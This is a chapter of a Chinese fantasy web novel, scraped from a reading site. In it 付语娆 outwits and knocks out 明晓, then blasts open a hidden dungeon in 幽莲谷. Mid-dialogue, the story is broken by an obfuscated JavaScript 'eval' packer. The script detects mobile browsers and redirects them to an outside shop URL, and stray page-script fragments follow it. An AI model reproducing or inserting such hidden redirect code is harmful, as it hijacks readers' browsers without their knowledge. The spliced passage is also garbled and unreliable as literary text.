文趣网 > 其他小说 > 缚指 > 47. 囚牢
    与此同时,在遥远的西方,除未稀外,还有一人业已抵达此地。

    长方高束,潇洒自在,翘着个二郎腿斜坐于飞剑之上,素尘仙人之徒、羲氏灏郎君是也。

    他本是西方前朝王族后裔,百余年前政权颠覆,西方格局大改,各路英雄豪杰辈出,就此,几大势力割据至今,各执一方,互不相让。

    “该由我来改变这天下了!”

    他爽朗一笑,站起身跺了跺脚下长剑,施施然落与地面。

    天地荒凉,房屋倾颓,大片大片的灰尘弥漫,是硝烟过后的寂寥。

    羲灏走在坍塌的墙体之间,放眼望去,莫说活人,就是死尸也不得见。

    “一百年的兵荒马乱,一百年的冤仇罪孽……唉!”他重重叹息:“也不知道滋生了多少妖魔邪祟。”

    眉眼一挑,恣意笑道:“不过无妨,自有我来解决!”

    另一边,未稀渡过漫至脚踝的血水,感受着脚上的潮湿黏稠,更多地却是对眼前尸山血海的震惊。

    未干的血液顺着衣摆向上浸透,不规则的血红在她身上留下了难以言状的狰狞印记。

    风过,腥臭味起。

    她下意识捂住鼻子,却发现无论如何,都遮不住那股刺鼻反胃的味道。

    脑子里面一片混乱,过往许多年的回忆一瞬间全都涌了上来。

    她不知该何去何从。

    恍惚间,初生灵智时的一幕闪过心头:

    苍白着脸的男子将一具美颜的女尸拖到她的脚下,刨开土,埋在了她的根系旁。

    又想起那被外人埋在自己脚下几十年,只为镇压自己的故友尸骸。

    腐肉与腥臭蹿上,是经受不住的恶心。

    她不喜欢杀人,也不喜欢别人杀人。

    她想改变这里。

    不仅仅是为了课业或任务。

    是发自内心、由衷地想改变这里。

    ……

    幽莲谷外,付语娆望着鱼怜相与萧芫良远去的背影,心神微动,颇有些想跟上去一探究竟。但身旁的明晓就跟黏她身上似的,寸步不离。哪怕那只叫久久的飞魔离开,她也不动,只眨巴着双眼睛望着她。

    “你这样看着我做什么?”

    付语娆忍不住问到。仔细瞧去,却发觉明晓虽望着她,但眼眸却完全没有聚焦到她身上,那份空洞,好像更明显了。可只一瞬间,明晓又恢复了正常。空洞的眼眸深处被表面的光彩遮住。

    明晓灿烂笑起:“贾花匠,阿相叫我带你去休息。”

    亲昵地挽过付语娆的手。

    “是吗?”

    这异常的行动被付语娆看在眼里,“可她方才分明没说这句。”

    明晓疑惑:“嗯?说了的吧。”又笑着蹭了蹭贾花匠,享受道:“贾花匠,你身上好香啊。是一种来自大地的、很熟悉的气味——我好喜欢。”

    付语娆道:“你很喜欢?”

    脑中闪过在谷外时明晓挎着脸、委屈的神情,以及那明显对着她的敌意。

    怎么样也不该是喜欢吧。

    付语娆暗自放出些许法力,猜测此地是否布有鱼怜相的眼睛,但一圈下来,除了那些躲得远远的妖魔,却是无甚收获。

    “对啊,我好喜欢。我们回去吧。”

    明晓毫无察觉,依旧笑呵呵地望着付语娆,一双清瞳似秋水潋滟,填不满的纯真。

    “行啊。”

    付语娆回以一笑,真就跟着明晓回去了。

    一路上,明晓时不时地同付语娆说话,不是问她怎么养花,就是问她怎么锄地。

    “你问这些做什么?”

    明晓抬头:“贾花匠不是做这些的吗?”

    “……”

    “难道不是吗?”明晓追问。

    付语娆无奈:“是吧。”

    明晓继续乐呵呵地发问,又问付语娆每天种花不累吗,或是不无聊吗。

    付语娆不知道怎么回答,只道:“修行之道,怎么会无聊?莫非明晓姑娘每天都过得很累?”

    明晓道:“我也不累,不过不是为了修行,我是为了阿相。阿相喜欢铁线莲,我想让整个幽莲谷都布满铁线莲,这样阿相每天即使不去后山也能很开心。毕竟……一睁眼就能看见。”

    “姑娘纯真。”

    两人就这样有一搭没一搭地聊着,不知不觉间,就以这种奇怪的和谐氛围绕过前殿,来到后院付语娆的居所处。

    独自立与此地的阁楼,宛如云端下悬着的仙居,上头鲜艳的红绸正飘荡着,一切与当日一般无二。隐约间,还能听见金玲随风叮铃。

    明晓眼中闪过惊艳,又闪过羡慕。眸光陡然间一沉,挽着付语娆的手一顿。

    怎么回事?

    付语娆侧目瞧她,感受到明晓突如其来的异常,有些不理解,旋即想起什么,问道:

    “明晓姑娘,你身上的法力,是鱼——谷主的,对吧?”

    明晓恍惚一瞬,很快又回神,正如不久前。

    付语娆只觉被挽着的手一阵外力,是明晓用力紧了紧。

    “是啊,怎么啦?”

    明晓甜甜地笑着,一双眼睛几乎眯成了缝。

    “我的资质不够,按理是修不成形的,是阿相把自己的力量分给了我。你问这个做什么?”

    付语娆道:“没什么,只是看鱼谷主待你很好,有些好奇罢了。说来,你成形之前的记忆,还有吗?”

    明晓沉思片刻,渐渐皱起眉,冥思苦想许久,才惋惜地摇了摇头:“没有诶。想不起来了。”

    付语娆问:“一点都没有吗?”

    明晓又苦想了一会,坚定地点了点头:“没有。”

    付语娆扯了扯嘴角,掩下心底的失望,道:“好吧。既然姑娘已经将我送了回来,不如回去休息吧?”

    “好啊。”几乎是下意识的,明晓应道,但又立马改口:“不对,阿相还没回来,我还不能回去。”

    付语娆问:“你这算是,替她监视我?”

    明晓摇头:“监视?不算吧?我只是在完成阿相给我的任务,她叫我带你来休息。”

    付语娆道:“对啊,她只是叫你带我来休息。可你已经带我来了,不是吗?所以任务已经完成了。既然已经完成了,你当然可以回去了,不对吗?”

    明晓一下被绕了进去:“哎,对啊,我可以回去了——不对不对,阿相还没回来,我不能回去。”

    付语娆问:“为什么她没回来,你就不能回去?她没给你下达过这类的命令吧?莫非传音同你说了?但我们分别时分明是朝着相反的方向,传音……”

    顿了顿:“距离不够吧?”

    明晓挽着付语娆的手不自觉松开,下垂,然后攥住自己的裙子。目光有些茫然,逐渐又化为惊惧,惴惴不安地转动着眼瞳。

    看着明晓惊慌的模样,付语娆突然找补似得说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17624867|206241||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到:“莫非她一开始就告诉你了,要在这儿盯着我直到她回来?”

    明晓猛地一抬头,似是找到了答案:“对对,她一开始就说了……对,阿相一开始就说了。”

    付语娆推开门,拉着明晓上楼,将她安置好后,一记手刃劈下,明晓就那样软绵绵地倒在了榻上。

    看着明晓失去意识,付语娆不敢多留,掩藏好气息后迅速离开。

    她没法保证鱼怜相不会通过明晓身上的法力察觉到异常,但她敢保证的是,此时此刻,鱼怜相一定就在这附近。

    幽莲谷的布局基本是仿照天瑶山,虽说阁楼不似天瑶山般鳞次栉比,但也并不算少,若真要一间间寻去,还不知道得找到什么时候。

    付语娆望着眼前逐渐亮起的灯光,后退一步,将自己隐于两屋夹缝间的暗巷中。

    风声簌簌中,什么东西愈来愈近,隐约能听见妖魔低语。

    付语娆眉心一横,挥手撒出几道符文,果断踏碎脚下石板。

    随着轰隆一声,灰尘扬起,冲天的泥石随之炸开。

    即便如此,它产生的动静却并未传开,就好似被困在了这方天地,刚巧惊动周遭路过的几只妖魔。

    “有人擅闯地牢!”

    付语娆站在一旁某一高楼屋檐上,冷眼望着下方。

    果然,不出她所料:既然格局是仿照天瑶山,那么最基本的标配——地牢总该有吧。

    “快去禀报!”

    底下,虽有震惊,但到底能有条不紊地处理,该刨土的刨土,该通报的通报,该追捕的追捕。

    但任谁也想不到,此时此刻罪魁祸首正立在它们上头看戏呢。

    那被付语娆一脚踏出的坑洞里,依稀闪动着光芒。上头围着的几只妖魔迅速处理干净周遭的泥土,眼神交流一番后便陆续散去了,除了两只跳下追捕的和一只看守在坑外的,再没有任何妨碍。

    付语娆眯着眼往坑里望了望,这坑不浅,底下连接着的地牢从此处望去宛如一个亮点,加之尘泥覆盖,不太能看得清。不过想来也是,天瑶山的地牢在地面二十丈之下,若鱼怜相真心仿制,此处的地牢也该在至少二十丈之下才对。

    更遑论为了保险起见,她这一脚可是用了足足五成的功力。

    有的它们找了。

    付语娆轻笑一声,抖了抖衣摆上的泥巴,最后看了那坑一眼。

    不过……天瑶山的地牢,可只是个幌子。

    那这里的呢?

    底下,看守坑洞的长臂魔突然感到脸上一阵冰凉,疑惑地摸了摸脸,发现是泥巴。它抬头望去,却没有发现任何异常。

    刚才炸到房檐上的吧?

    它如是想。

    哼哧哼哧擦干净脸后,它又端正站好,兢兢业业地看守起来。

    与此同时,某处玉石雕砌的不知名殿堂内,几只被困在中央阵法中的妖抬头看着来人。

    而那两位来人中的一位,却是忽然察觉到了什么动静,怔了一怔。随即,一道浅薄的震动传来。

    那震感本不大,若非鱼怜相道行高深,只怕轻易察觉不到。

    中央阵法的旁边,逐光亦是皱了皱眉。

    “你这地盘还有人敢闹事?”

    闻言,阵内四妖与萧芫良都是微不可查地震惊了一瞬。

    鱼怜相侧目瞥了眼萧芫良,浅浅一笑,朝逐光道:

    “你觉得,敢在我这儿闹的,还能有谁?”